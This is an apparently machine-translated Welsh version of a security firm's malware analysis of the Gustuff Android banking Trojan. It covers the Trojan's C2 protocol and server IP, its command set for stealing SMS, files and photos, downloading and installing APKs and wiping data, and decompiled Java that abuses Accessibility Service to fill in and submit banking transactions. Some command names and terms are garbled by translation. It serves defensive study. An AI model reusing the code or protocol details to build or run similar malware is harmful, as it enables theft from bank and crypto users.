Sut mae'r Trojan Android Gustuff yn sgimio'r hufen (fiat a crypto) o'ch cyfrifon

Sut mae'r Trojan Android Gustuff yn sgimio'r hufen (fiat a crypto) o'ch cyfrifon

Dim ond y diwrnod o'r blaen Grŵp-IB adroddwyd am weithgaredd y symudol Android Trojan Gustuff. Mae'n gweithio'n gyfan gwbl mewn marchnadoedd rhyngwladol, gan ymosod ar gleientiaid y 100 o fanciau tramor mwyaf, defnyddwyr waledi symudol 32 crypto, yn ogystal ag adnoddau e-fasnach mawr. Ond mae datblygwr Gustuff yn seiberdroseddwr sy'n siarad Rwsieg o dan y llysenw Bestoffer. Tan yn ddiweddar, canmolodd ei Trojan fel “cynnyrch difrifol i bobl â gwybodaeth a phrofiad.”

Arbenigwr dadansoddi cod maleisus yn Group-IB Ivan Pisarev yn ei ymchwil, mae'n sôn yn fanwl am sut mae Gustuff yn gweithio a beth yw ei beryglon.

Ar gyfer pwy mae Gustuff yn hela?

Mae Gustuff yn perthyn i genhedlaeth newydd o ddrwgwedd gyda swyddogaethau cwbl awtomataidd. Yn ôl y datblygwr, mae'r Trojan wedi dod yn fersiwn newydd a gwell o'r malware AndyBot, sydd ers mis Tachwedd 2017 wedi bod yn ymosod ar ffonau Android ac yn dwyn arian trwy ffurflenni gwe gwe-rwydo gan ffugio fel cymwysiadau symudol o fanciau rhyngwladol adnabyddus a systemau talu. Dywedodd Bestoffer mai pris rhentu Gustuff Bot oedd $800 y mis.

Dangosodd dadansoddiad o sampl Gustuff fod y Trojan o bosibl yn targedu cwsmeriaid sy'n defnyddio cymwysiadau symudol y banciau mwyaf, megis Bank of America, Bank of Scotland, JPMorgan, Wells Fargo, Capital One, TD Bank, PNC Bank, yn ogystal â waledi crypto Waled Bitcoin, BitPay, Cryptopay, Coinbase, ac ati.

Wedi'i greu yn wreiddiol fel pren Troea bancio clasurol, yn y fersiwn gyfredol mae Gustuff wedi ehangu'n sylweddol y rhestr o dargedau posibl ar gyfer ymosodiad. Yn ogystal â chymwysiadau Android ar gyfer banciau, cwmnïau fintech a gwasanaethau crypto, mae Gustuff wedi'i anelu at ddefnyddwyr cymwysiadau marchnad, siopau ar-lein, systemau talu a negeswyr gwib. Yn benodol, PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut ac eraill.

Man mynediad: cyfrifiad ar gyfer haint torfol

Nodweddir Gustuff gan y fector “clasurol” o dreiddiad i ffonau smart Android trwy bostiadau SMS gyda dolenni i APKs. Pan fydd dyfais Android wedi'i heintio â Trojan ar orchymyn y gweinydd, gall Gustuff ledaenu ymhellach trwy gronfa ddata cyswllt y ffôn heintiedig neu drwy gronfa ddata'r gweinydd. Mae ymarferoldeb Gustuff wedi'i gynllunio ar gyfer heintiad torfol a chyfalafu mwyaf posibl busnes ei weithredwyr - mae ganddo swyddogaeth “awtolenwi” unigryw i gymwysiadau bancio symudol cyfreithlon a waledi cripto, sy'n eich galluogi i gyflymu a graddio dwyn arian.

Dangosodd astudiaeth o'r Trojan bod y swyddogaeth awtolenwi yn cael ei gweithredu ynddo gan ddefnyddio'r Gwasanaeth Hygyrchedd, gwasanaeth i bobl ag anableddau. Nid Gustuff yw'r pren Troea cyntaf i osgoi'r amddiffyniad rhag rhyngweithio ag elfennau ffenestr cymwysiadau eraill sy'n defnyddio'r gwasanaeth Android hwn yn llwyddiannus. Fodd bynnag, mae'r defnydd o'r Gwasanaeth Hygyrchedd ar y cyd â llenwi ceir yn eithaf prin o hyd.

Ar ôl llwytho i lawr i ffôn y dioddefwr, Gusstuff, gan ddefnyddio'r Gwasanaeth Hygyrchedd, yn gallu rhyngweithio ag elfennau ffenestr o geisiadau eraill (bancio, cryptocurrency, yn ogystal â cheisiadau ar gyfer siopa ar-lein, negeseuon, ac ati), gan gyflawni'r camau gweithredu angenrheidiol ar gyfer yr ymosodwyr . Er enghraifft, ar orchymyn y gweinydd, gall Trojan wasgu botymau a newid gwerthoedd meysydd testun mewn cymwysiadau bancio. Mae defnyddio mecanwaith y Gwasanaeth Hygyrchedd yn caniatáu i'r Trojan osgoi'r mecanweithiau diogelwch a ddefnyddir gan fanciau i wrthsefyll Trojans symudol y genhedlaeth flaenorol, yn ogystal â newidiadau mewn polisi diogelwch a weithredwyd gan Google mewn fersiynau newydd o'r OS Android. Felly, mae Gustuff “yn gwybod sut” i analluogi amddiffyniad Google Protect: yn ôl yr awdur, mae'r swyddogaeth hon yn gweithio mewn 70% o achosion.

Sut mae'r Trojan Android Gustuff yn sgimio'r hufen (fiat a crypto) o'ch cyfrifon

Gall Gustuff hefyd arddangos hysbysiadau PUSH ffug gydag eiconau cymwysiadau symudol cyfreithlon. Mae'r defnyddiwr yn clicio ar yr hysbysiad PUSH ac yn gweld ffenestr gwe-rwydo wedi'i lawrlwytho o'r gweinydd, lle mae'n nodi'r data cerdyn banc neu waled crypto y gofynnwyd amdano. Mewn senario arall Gusstuff, agorir y cais y dangoswyd yr hysbysiad PUSH ar ei ran. Yn yr achos hwn, gall y malware, ar orchymyn gan y gweinydd trwy'r Gwasanaeth Hygyrchedd, lenwi meysydd ffurflen cais bancio ar gyfer trafodiad twyllodrus.

Mae swyddogaeth Gustuff hefyd yn cynnwys anfon gwybodaeth am ddyfais heintiedig i'r gweinydd, y gallu i ddarllen/anfon negeseuon SMS, anfon ceisiadau USSD, lansio SOCKS5 Proxy, dilyn dolen, anfon ffeiliau (gan gynnwys sganiau lluniau o ddogfennau, sgrinluniau, ffotograffau) i'r gweinydd , ailosod y ddyfais i osodiadau ffatri.

Dadansoddi drwgwedd

Cyn gosod cymhwysiad maleisus, mae'r AO Android yn dangos ffenestr i'r defnyddiwr sy'n cynnwys rhestr o hawliau y gofynnodd Gustuff amdanynt:

Sut mae'r Trojan Android Gustuff yn sgimio'r hufen (fiat a crypto) o'ch cyfrifon
Bydd y cais yn cael ei osod dim ond ar ôl derbyn caniatâd y defnyddiwr. Ar ôl lansio'r cais, bydd y Trojan yn dangos ffenestr i'r defnyddiwr:

Sut mae'r Trojan Android Gustuff yn sgimio'r hufen (fiat a crypto) o'ch cyfrifon
Ar ôl hynny bydd yn cael gwared ar ei eicon.

Mae Gustuff yn cael ei bacio, yn ôl yr awdur, gan becyn o FTT. Ar ôl cychwyn, mae'r rhaglen yn cysylltu â gweinydd CNC o bryd i'w gilydd i dderbyn gorchmynion. Roedd sawl ffeil a archwiliwyd gennym yn defnyddio cyfeiriad IP fel y gweinydd rheoli 88.99.171[.]105 (o hyn allan byddwn yn ei ddynodi fel <%CnC%>).

Ar ôl ei lansio, mae'r rhaglen yn dechrau anfon negeseuon i'r gweinydd http://<%CnC%>/api/v1/get.php.

Disgwylir mai JSON fydd yr ymateb yn y fformat a ganlyn:

{
    "results" : "OK",
    "command":{
        "id": "<%id%>",
        "command":"<%command%>",
        "timestamp":"<%Server Timestamp%>",
        "params":{
		<%Command parameters as JSON%>
        },
    },
}

Bob tro y bydd y cais yn cael ei gyrchu, mae'n anfon gwybodaeth am y ddyfais heintiedig. Dangosir fformat y neges isod. Mae'n werth nodi bod y meysydd Llawn, ychwanegol, apps и caniatâd - dewisol a bydd yn cael ei anfon dim ond rhag ofn y bydd gorchymyn cais gan CNC.

{
    "info":
    {
        "info":
        {
            "cell":<%Sim operator name%>,
            "country":<%Country ISO%>,
            "imei":<%IMEI%>,
            "number":<%Phone number%>,
            "line1Number":<%Phone number%>,
            "advertisementId":<%ID%>
        },
        "state":
        {
            "admin":<%Has admin rights%>,
            "source":<%String%>,
            "needPermissions":<%Application needs permissions%>,
            "accesByName":<%Boolean%>,
            "accesByService":<%Boolean%>,
            "safetyNet":<%String%>,
            "defaultSmsApp":<%Default Sms Application%>,
            "isDefaultSmsApp":<%Current application is Default Sms Application%>,
            "dateTime":<%Current date time%>,
            "batteryLevel":<%Battery level%>
        },
        "socks":
        {
            "id":<%Proxy module ID%>,
            "enabled":<%Is enabled%>,
            "active":<%Is active%>
        },
        "version":
        {
            "versionName":<%Package Version Name%>,
            "versionCode":<%Package Version Code%>,
            "lastUpdateTime":<%Package Last Update Time%>,
            "tag":<%Tag, default value: "TAG"%>,
            "targetSdkVersion":<%Target Sdk Version%>,
            "buildConfigTimestamp":1541309066721
        },
    },
    "full":
    {
        "model":<%Device Model%>,
        "localeCountry":<%Country%>,
        "localeLang":<%Locale language%>,
        "accounts":<%JSON array, contains from "name" and "type" of accounts%>,
        "lockType":<%Type of lockscreen password%>
    },
    "extra":
    {
        "serial":<%Build serial number%>,
        "board":<%Build Board%>,
        "brand":<%Build Brand%>,
        "user":<%Build User%>,
        "device":<%Build Device%>,
        "display":<%Build Display%>,
        "id":<%Build ID%>,
        "manufacturer":<%Build manufacturer%>,
        "model":<%Build model%>,
        "product":<%Build product%>,
        "tags":<%Build tags%>,
        "type":<%Build type%>,
        "imei":<%imei%>,
        "imsi":<%imsi%>,
        "line1number":<%phonenumber%>,
        "iccid":<%Sim serial number%>,
        "mcc":<%Mobile country code of operator%>,
        "mnc":<%Mobile network codeof operator%>,
        "cellid":<%GSM-data%>,
        "lac":<%GSM-data%>,
        "androidid":<%Android Id%>,
        "ssid":<%Wi-Fi SSID%>
    },
    "apps":{<%List of installed applications%>},
    "permission":<%List of granted permissions%>
} 

Storio data ffurfweddu

Mae Gustuff yn storio gwybodaeth weithredol bwysig mewn ffeil dewis. Mae enw'r ffeil, yn ogystal ag enwau'r paramedrau ynddi, yn ganlyniad cyfrifo'r swm MD5 o'r llinyn 15413090667214.6.1 <%name%>lle <%name%> — gwerth enw cychwynnol. Dehongliad Python o'r swyddogaeth cynhyrchu enwau:

 nameGenerator(input):
    output = md5("15413090667214.6.1" + input) 

Yn yr hyn sy'n dilyn byddwn yn ei ddynodi fel enw Generadur (mewnbwn).
Felly enw'r ffeil gyntaf yw: nameGenerator("API_SERVER_LIST"), mae'n cynnwys gwerthoedd gyda'r enwau canlynol:

Enw amrywiol Gwerth
nameGenerator("API_SERVER_LIST") Mae'n cynnwys rhestr o gyfeiriadau CNC ar ffurf arae.
nameGenerator("API_SERVER_URL") Yn cynnwys cyfeiriad CNC.
nameGenerator("SMS_UPLOAD") Gosodir y faner yn ddiofyn. Os yw'r faner wedi'i gosod, yn anfon negeseuon SMS i CNC.
nameGenerator("SMS_ROOT_NUMBER") Rhif ffôn yr anfonir negeseuon SMS a dderbynnir gan y ddyfais heintiedig ato. Mae'r rhagosodiad yn null.
nameGenerator("SMS_ROOT_NUMBER_RESEND") Mae'r faner yn cael ei chlirio yn ddiofyn. Os caiff ei osod, pan fydd dyfais heintiedig yn derbyn SMS, bydd yn cael ei anfon at y rhif gwraidd.
nameGenerator("DEFAULT_APP_SMS") Mae'r faner yn cael ei chlirio yn ddiofyn. Os gosodir y faner hon, bydd y rhaglen yn prosesu negeseuon SMS sy'n dod i mewn.
nameGenerator("DEFAULT_ADMIN") Mae'r faner yn cael ei chlirio yn ddiofyn. Os gosodir y faner, mae gan y rhaglen hawliau gweinyddwr.
nameGenerator ("DEFAULT_ACCESSIBILITY") Mae'r faner yn cael ei chlirio yn ddiofyn. Os gosodir y faner, mae gwasanaeth sy'n defnyddio'r Gwasanaeth Hygyrchedd yn rhedeg.
nameGenerator("APPS_CONFIG") Gwrthrych JSON sy'n cynnwys rhestr o gamau gweithredu y mae'n rhaid eu cyflawni pan fydd digwyddiad Hygyrchedd sy'n gysylltiedig â chymhwysiad penodol yn cael ei sbarduno.
nameGenerator("APPS_INSTALLED") Yn storio rhestr o gymwysiadau sydd wedi'u gosod ar y ddyfais.
nameGenerator("IS_FIST_RUN") Mae'r faner yn cael ei ailosod ar y cychwyn cyntaf.
nameGenerator("UNIQUE_ID") Yn cynnwys dynodwr unigryw. Wedi'i gynhyrchu pan fydd y bot yn cael ei lansio am y tro cyntaf.

Modiwl ar gyfer prosesu gorchmynion o'r gweinydd

Mae'r rhaglen yn storio cyfeiriadau gweinyddwyr CNC ar ffurf arae wedi'i hamgodio gan Basexnumx llinellau. Gellir newid y rhestr o weinyddion CNC ar ôl derbyn y gorchymyn priodol, ac os felly bydd y cyfeiriadau yn cael eu storio mewn ffeil dewis.

Mewn ymateb i'r cais, mae'r gweinydd yn anfon gorchymyn i'r cais. Mae'n werth nodi bod gorchmynion a pharamedrau'n cael eu cyflwyno mewn fformat JSON. Gall y cais brosesu'r gorchmynion canlynol:

Tîm Disgrifiad
ymlaenCychwyn Dechreuwch anfon negeseuon SMS a dderbyniwyd gan y ddyfais heintiedig i'r gweinydd CNC.
ymlaenStop Rhoi'r gorau i anfon negeseuon SMS a dderbynnir gan y ddyfais heintiedig i'r gweinydd CNC.
ussdRun Gweithredu cais USSD. Mae'r rhif y mae angen i chi wneud cais USSD iddo wedi'i leoli ym maes “rhif” JSON.
anfonSms Anfonwch un neges SMS (os oes angen, caiff y neges ei “rhannu” yn rhannau). Fel paramedr, mae'r gorchymyn yn cymryd gwrthrych JSON sy'n cynnwys y meysydd “to” - y rhif cyrchfan a “corff” - corff y neges.
anfonSmsAb Anfonwch negeseuon SMS (os oes angen, mae'r neges wedi'i “rhannu” yn rhannau) i bawb yn rhestr gyswllt y ddyfais heintiedig. Yr egwyl rhwng anfon negeseuon yw 10 eiliad. Mae corff y neges yn y maes JSON "corff"
anfonSmsMass Anfonwch negeseuon SMS (os oes angen, mae'r neges wedi'i "rhannu" yn rhannau) i'r cysylltiadau a nodir yn y paramedrau gorchymyn. Yr egwyl rhwng anfon negeseuon yw 10 eiliad. Fel paramedr, mae'r gorchymyn yn cymryd arae JSON (y maes “sms”), y mae ei elfennau'n cynnwys y meysydd “i” - rhif cyrchfan a “corff” - corff y neges.
newid Gweinydd Gall y gorchymyn hwn gymryd gwerth gyda'r allwedd “url” fel paramedr - yna bydd y bot yn newid gwerth nameGenerator (“SERVER_URL”), neu “array” - yna bydd y bot yn ysgrifennu'r arae i nameGenerator (“API_SERVER_LIST”) Felly, mae'r rhaglen yn newid cyfeiriad gweinyddwyr CNC.
rhif gweinyddol Mae'r gorchymyn wedi'i gynllunio i weithio gyda rhif gwraidd. Mae'r gorchymyn yn derbyn gwrthrych JSON gyda'r paramedrau canlynol: "rhif" - newid nameGenerator ("ROOT_NUMBER") i'r gwerth a dderbyniwyd, "ail-anfon" - newid enwGenerator ("SMS_ROOT_NUMBER_RESEND"), "sendId" - anfon at nameGenerator("ROOT_NUMBER" ) unigryw ID.
diweddaruGwybodaeth Anfonwch wybodaeth am y ddyfais heintiedig i'r gweinydd.
sychuData Bwriad y gorchymyn yw dileu data defnyddwyr. Yn dibynnu ar ba enw y lansiwyd y cais, naill ai mae'r data'n cael ei ddileu'n llwyr gydag ailgychwyn dyfais (defnyddiwr sylfaenol), neu dim ond data defnyddiwr sy'n cael ei ddileu (defnyddiwr eilaidd).
socksStart Lansio'r modiwl dirprwy. Disgrifir gweithrediad y modiwl mewn adran ar wahân.
socksStop Stopiwch y modiwl dirprwy.
openDolen Dilynwch y ddolen. Mae'r ddolen wedi'i lleoli ym mharamedr JSON o dan yr allwedd “url”. Defnyddir “android.intent.action.VIEW” i agor y ddolen.
uwchlwythoAllSms Anfonwch yr holl negeseuon SMS a dderbynnir gan y ddyfais i'r gweinydd.
uwchlwythoAllPhotos Anfon delweddau o ddyfais heintiedig i URL. Daw'r URL fel paramedr.
uwchlwytho Ffeil Anfon ffeil i URL o ddyfais heintiedig. Daw'r URL fel paramedr.
uwchlwytho Rhifau Ffôn Anfonwch rifau ffôn o'ch rhestr gyswllt i'r gweinydd. Os derbynnir gwerth gwrthrych JSON gyda'r allwedd “ab” fel paramedr, mae'r cais yn derbyn rhestr o gysylltiadau o'r llyfr ffôn. Os derbynnir gwrthrych JSON gyda'r allwedd “sms” fel paramedr, mae'r cymhwysiad yn darllen y rhestr o gysylltiadau gan anfonwyr negeseuon SMS.
newidArchif Mae'r cymhwysiad yn lawrlwytho'r ffeil o'r cyfeiriad a ddaw fel paramedr gan ddefnyddio'r allwedd “url”. Mae'r ffeil wedi'i lawrlwytho yn cael ei gadw gyda'r enw "archive.zip". Yna bydd y rhaglen yn dadsipio'r ffeil, yn ddewisol gan ddefnyddio'r cyfrinair archif “b5jXh37gxgHBrZhQ4j3D”. Mae'r ffeiliau sydd wedi'u dadsipio yn cael eu cadw yn y cyfeiriadur [storio allanol]/hgps. Yn y cyfeiriadur hwn, mae'r rhaglen yn storio nwyddau ffug gwe (a ddisgrifir isod).
camau gweithredu Mae'r gorchymyn wedi'i gynllunio i weithio gyda Action Service, a ddisgrifir mewn adran ar wahân.
prawf Gwneud dim.
download Bwriad y gorchymyn yw lawrlwytho ffeil o weinydd pell a'i gadw i'r cyfeiriadur “Lawrlwythiadau”. Daw'r URL ac enw'r ffeil fel paramedr, meysydd yn y gwrthrych paramedr JSON, yn y drefn honno: “url” a “fileName”.
gwared ar Yn tynnu ffeil o'r cyfeiriadur "Lawrlwythiadau". Daw enw'r ffeil mewn paramedr JSON gyda'r allwedd “fileName”. Yr enw ffeil safonol yw “tmp.apk”.
hysbysiad Dangos hysbysiad gyda thestunau disgrifiad a theitl wedi'u diffinio gan y gweinydd rheoli.

Fformat Gorchymyn hysbysiad:

{
    "results" : "OK",
    "command":{
    "id": <%id%>,
    "command":"notification",
    "timestamp":<%Server Timestamp%>,
    "params":{
        "openApp":<%Open original app or not%>,
        "array":[
                      {"title":<%Title text%>,
                      "desc":<%Description text%>,
                      "app":<%Application name%>}
                   ]
                   },
        },
}

Mae'r hysbysiad a gynhyrchir gan y ffeil sy'n cael ei hymchwilio yn edrych yn union yr un fath â'r hysbysiadau a gynhyrchir gan y rhaglen a nodir yn y maes app. Os yw gwerth y maes ap agored - Yn wir, pan agorir hysbysiad, mae'r cais a nodir yn y maes yn cael ei lansio app. Os yw gwerth y maes ap agored - Gau, felly:

  • Mae ffenestr gwe-rwydo yn agor, a chaiff ei chynnwys ei lawrlwytho o'r cyfeiriadur <% storfa allanol%>/hgps/<%filename%>
  • Mae ffenestr gwe-rwydo yn agor, a chaiff ei chynnwys ei lawrlwytho o'r gweinydd <%url%>?id=<%Bot id%>&app=<%Enw'r cais%>
  • Mae ffenestr gwe-rwydo yn agor, wedi'i chuddio fel Cerdyn Chwarae Google, gyda chyfle i nodi manylion cerdyn.

Mae'r cais yn anfon canlyniad unrhyw orchymyn i <%CnC%>set_state.php fel gwrthrych JSON yn y fformat canlynol:

{
    "command":
    {
        "command":<%command%>,
        "id":<%command_id%>,
        "state":<%command_state%>
    }
    "id":<%bot_id%>
}

Gwasanaeth Gweithredoedd
Y rhestr o orchmynion y mae'r prosesau cais yn eu cynnwys gweithredu. Pan dderbynnir gorchymyn, mae'r modiwl prosesu gorchymyn yn cyrchu'r gwasanaeth hwn i weithredu'r gorchymyn estynedig. Mae'r gwasanaeth yn derbyn gwrthrych JSON fel paramedr. Gall y gwasanaeth weithredu'r gorchmynion canlynol:

1. PARAMS_ACTION - wrth dderbyn gorchymyn o'r fath, mae'r gwasanaeth yn gyntaf yn derbyn gwerth yr allwedd Math o baramedr JSON, a all fod fel a ganlyn:

  • gwybodaeth gwasanaeth – mae'r is-orchymyn yn cael y gwerth fesul allwedd o'r paramedr JSON cynnwys Ddim yn Bwysig. Os yw'r faner yn Wir, mae'r cais yn gosod y faner FLAG_ISOLATED_PROCESS i wasanaeth sy'n defnyddio'r Gwasanaeth Hygyrchedd. Fel hyn bydd y gwasanaeth yn cael ei lansio mewn proses ar wahân.
  • gwraidd — derbyn ac anfon at y gweinydd wybodaeth am y ffenestr sy'n canolbwyntio ar hyn o bryd. Mae'r cais yn cael gwybodaeth gan ddefnyddio'r dosbarth AccessibilityNodeInfo.
  • admin — gofyn am hawliau gweinyddwr.
  • oedi — atal y Gwasanaeth Gweithredu am nifer y milieiliadau a nodir yn y paramedr ar gyfer yr allwedd “data”.
  • ffenestri — anfon rhestr o ffenestri sy'n weladwy i'r defnyddiwr.
  • gosod - gosod y cais ar y ddyfais heintiedig. Mae enw'r pecyn archif yn yr allwedd “fileName”. Mae'r archif ei hun wedi'i leoli yn y cyfeiriadur Lawrlwythiadau.
  • byd-eang – bwriad yr is-orchymyn yw llywio o'r ffenestr gyfredol:
    • ar y ddewislen Gosodiadau Cyflym
    • yn ôl
    • cartref
    • i hysbysiadau
    • i'r ffenestr ceisiadau a agorwyd yn ddiweddar

  • lansio - lansio'r cais. Daw enw'r cais fel paramedr wrth allwedd data.
  • synau — newidiwch y modd sain i dawelwch.
  • datgloi — yn troi golau cefn y sgrin a'r bysellfwrdd ymlaen i ddisgleirdeb llawn. Mae'r cymhwysiad yn cyflawni'r weithred hon gan ddefnyddio WakeLock, gan nodi'r llinyn [Llyfr y cais]: INFO fel tag
  • caniatâd Troshaen — nid yw'r swyddogaeth wedi'i gweithredu (yr ymateb i weithredu gorchymyn yw {"message": "Ddim yn cefnogi"} neu {"message": "sdk isel")
  • ystum — nid yw'r swyddogaeth wedi'i gweithredu (yr ymateb i weithredu gorchymyn yw {"message": "Ddim yn cefnogi"} neu {"message": "API Isel")
  • caniatadau - mae'r gorchymyn hwn yn angenrheidiol i ofyn am ganiatâd ar gyfer y cais. Fodd bynnag, nid yw'r swyddogaeth ymholiad yn cael ei weithredu, felly mae'r gorchymyn yn ddiystyr. Daw'r rhestr o hawliau y gofynnwyd amdanynt fel arae JSON gyda'r allwedd “caniatâd”. Rhestr safonol:
    • android.permission.READ_PHONE_STATE
    • android.permission.READ_CONTACTS
    • android.permission.CALL_PHONE
    • android.permission.RECEIVE_SMS
    • android.permission.SEND_SMS
    • android.permission.READ_SMS
    • android.permission.READ_EXTERNAL_STORAGE
    • android.permission.WRITE_EXTERNAL_STORAGE

  • agor — dangos ffenestr gwe-rwydo. Yn dibynnu ar y paramedr sy'n dod o'r gweinydd, gall y rhaglen arddangos y ffenestri gwe-rwydo canlynol:
    • Dangos ffenestr gwe-rwydo y mae ei chynnwys wedi'i ysgrifennu mewn ffeil mewn cyfeiriadur <% cyfeiriadur allanol%>/hgps/<%param_filename%>. Bydd canlyniad rhyngweithio defnyddiwr gyda'r ffenestr yn cael ei anfon at <%CnC%>/records.php
    • Dangoswch ffenestr gwe-rwydo y mae ei chynnwys wedi'i rhaglwytho o'r cyfeiriad <%url_param%>?id=<%bot_id%>&app=<%packagename%>. Bydd canlyniad rhyngweithio defnyddiwr gyda'r ffenestr yn cael ei anfon at <%CnC%>/records.php
    • Dangos ffenestr gwe-rwydo sydd wedi'i chuddio fel Cerdyn Chwarae Google.

  • rhyngweithiol - mae'r gorchymyn wedi'i gynllunio i ryngweithio ag elfennau ffenestr cymwysiadau eraill gan ddefnyddio AcessibilityService. Mae gwasanaeth arbennig wedi'i roi ar waith yn y rhaglen ryngweithio. Gall y cais sy'n cael ei ymchwilio ryngweithio â ffenestri:
    • Yn weithredol ar hyn o bryd. Yn yr achos hwn, mae'r paramedr yn cynnwys id neu destun (enw) y gwrthrych y mae angen i chi ryngweithio ag ef.
    • Yn weladwy i'r defnyddiwr ar yr adeg y gweithredir y gorchymyn. Mae'r cymhwysiad yn dewis ffenestri trwy id.

    Wedi derbyn gwrthrychau HygyrcheddNodeInfo Ar gyfer elfennau ffenestr o ddiddordeb, gall y cais, yn dibynnu ar y paramedrau, gyflawni'r camau gweithredu canlynol:

    • ffocws — gosod ffocws i'r gwrthrych.
    • cliciwch - cliciwch ar wrthrych.
    • actionId — cyflawni gweithred drwy ID.
    • setText — newid testun gwrthrych. Mae'n bosibl newid y testun mewn dwy ffordd: cyflawni gweithred ACTION_SET_TEXT (os yw'r fersiwn Android o'r ddyfais heintiedig yn iau na neu'n hafal i LOLLIPOP), neu drwy osod llinyn ar y clipfwrdd a'i gludo i mewn i wrthrych (ar gyfer fersiynau hŷn). Gellir defnyddio'r gorchymyn hwn i newid data mewn cymhwysiad bancio.

2. PARAMS_ACTIONS - yr un peth a PARAMS_ACTION, dim ond cyfres JSON o orchmynion sy'n cyrraedd.

Mae'n ymddangos y bydd gan lawer o bobl ddiddordeb yn sut olwg sydd ar swyddogaeth rhyngweithio ag elfennau ffenestr rhaglen arall. Dyma sut mae'r swyddogaeth hon yn cael ei gweithredu yn Gustuff:

boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
    int count = action.optInt("repeat", 1);
    Iterator aiListIterator = ((Iterable)aiList).iterator();
    int count = 0;
    while(aiListIterator.hasNext()) {
        Object ani = aiListIterator.next();
        if(1 <= count) {
            int index;
            for(index = 1; true; ++index) {
                if(action.has("focus")) {
                    if(((AccessibilityNodeInfo)ani).performAction(1)) {
                        ++count;
                    }
                }
                else if(action.has("click")) {
                    if(((AccessibilityNodeInfo)ani).performAction(16)) {
                        ++count;
                    }
                }
                else if(action.has("actionId")) {
                    if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
                        ++count;
                    }
                }
                else if(action.has("setText")) {
                    customHeader ch = CustomAccessibilityService.a;
                    Context context = this.getApplicationContext();
                    String text = action.optString("setText");
                    if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
                        ++count;
                    }
                }
                if(index == count) {
                    break;
                }
            }
        }
        ((AccessibilityNodeInfo)ani).recycle();
    }
    res.addPropertyNumber("res", Integer.valueOf(count));
}

Swyddogaeth amnewid testun:

boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
    boolean result;
    if(Build$VERSION.SDK_INT >= 21) {
        Bundle b = new Bundle();
        b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
        result = ani.performAction(0x200000, b);  // ACTION_SET_TEXT
    }
    else {
        Object clipboard = context.getSystemService("clipboard");
        if(clipboard != null) {
        ((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
        result = ani.performAction(0x8000);  // ACTION_PASTE
        }
        else {
            result = false;
        }
    }
    return result;
}

Felly, gyda chyfluniad cywir y gweinydd rheoli, mae Gustuff yn gallu llenwi meysydd testun yn y cais bancio a chlicio ar y botymau angenrheidiol i gwblhau'r trafodiad. Nid oes angen i'r pren Troea fewngofnodi i'r cais hyd yn oed - mae'n ddigon anfon gorchymyn i arddangos hysbysiad GWTHIO ac yna agor y rhaglen bancio a osodwyd yn flaenorol. Bydd y defnyddiwr yn dilysu ei hun, ac ar ôl hynny bydd Gustuff yn gallu llenwi'r car.

Modiwl prosesu negeseuon SMS

Mae'r cymhwysiad yn gosod trefnydd digwyddiad ar gyfer y ddyfais heintiedig i dderbyn negeseuon SMS. Gall y cais sy'n cael ei astudio dderbyn gorchmynion gan y gweithredwr, sy'n dod yng nghorff y neges SMS. Daw gorchmynion yn y fformat:

7!5=<%Base64 gorchymyn wedi'i amgodio%>

Mae'r cais yn chwilio am y llinyn ym mhob neges SMS sy'n dod i mewn 7!5=, pan ganfyddir llinyn, mae'n dadgodio'r llinyn o Base64 ar wrthbwyso 4 ac yn gweithredu'r gorchymyn. Mae'r gorchmynion yn debyg i'r rhai gyda CNC. Anfonir y canlyniad gweithredu i'r un rhif y daeth y gorchymyn ohono. Fformat ymateb:

7*5=<%Base64 amgodio o “result_code command”%>

Yn ddewisol, gall y cais anfon yr holl negeseuon a dderbyniwyd i'r rhif Root. I wneud hyn, rhaid nodi'r rhif Root yn y ffeil dewis a rhaid gosod baner ailgyfeirio'r neges. Anfonir neges SMS at rif yr ymosodwr yn y fformat:

<% O'r rhif%> - <%Time, fformat: dd/MM/bbbb HH:mm:ss%> <%SMS body%>

Hefyd, yn ddewisol, gall y rhaglen anfon negeseuon i CNC. Anfonir y neges SMS i'r gweinydd mewn fformat JSON:

{
    "id":<%BotID%>,
    "sms":
    {
        "text":<%SMS body%>,
        "number":<%From number%>,
        "date":<%Timestamp%>
    }
}

Os gosodir y faner nameGenerator("DEFAULT_APP_SMS") - mae'r cymhwysiad yn stopio prosesu'r neges SMS ac yn clirio'r rhestr o negeseuon sy'n dod i mewn.

Modiwl dirprwy

Mae'r cais sy'n cael ei astudio yn cynnwys modiwl Backconnect Proxy (y cyfeirir ato o hyn ymlaen fel y modiwl Proxy), sydd â dosbarth ar wahân sy'n cynnwys meysydd sefydlog gyda chyfluniad. Mae data cyfluniad yn cael ei storio yn y sampl ar ffurf glir:

Sut mae'r Trojan Android Gustuff yn sgimio'r hufen (fiat a crypto) o'ch cyfrifon

Mae'r holl gamau gweithredu a gyflawnir gan y modiwl Dirprwy yn cael eu mewngofnodi i ffeiliau. I wneud hyn, mae'r cymhwysiad yn Storio Allanol yn creu cyfeiriadur o'r enw “logs” (maes ProxyConfigClass.logsDir yn y dosbarth ffurfweddu), lle mae ffeiliau log yn cael eu storio. Mae logio yn digwydd mewn ffeiliau gydag enwau:

  1. prif.txt – mae gwaith y dosbarth o'r enw CommandServer wedi'i fewngofnodi i'r ffeil hon. Yn yr hyn sy'n dilyn, bydd mewngofnodi'r llinyn llinyn i'r ffeil hon yn cael ei ddynodi fel mainLog(str).
  2. sesiwn-<%id%>.txt — mae'r ffeil hon yn arbed data log sy'n gysylltiedig â sesiwn ddirprwy benodol. Yn yr hyn sy'n dilyn, bydd logio'r llinyn str i'r ffeil hon yn cael ei ddynodi fel sessionLog (str).
  3. gweinydd.txt – defnyddir y ffeil hon i logio'r holl ddata a ysgrifennwyd i'r ffeiliau a ddisgrifir uchod.

Fformat data log:

<%Date%> [Edefyn[<%thread id%>], id[]]: llinyn log

Mae eithriadau sy'n digwydd yn ystod gweithrediad y modiwl Proxy hefyd yn cael eu mewngofnodi i ffeil. I wneud hyn, mae'r rhaglen yn cynhyrchu gwrthrych JSON yn y fformat canlynol:

{
    "uncaughtException":<%short description of throwable%>
    "thread":<%thread%>
    "message":<%detail message of throwable%>
    "trace":        //Stack trace info
        [
            {
                "ClassName":
                "FileName":
                "LineNumber":
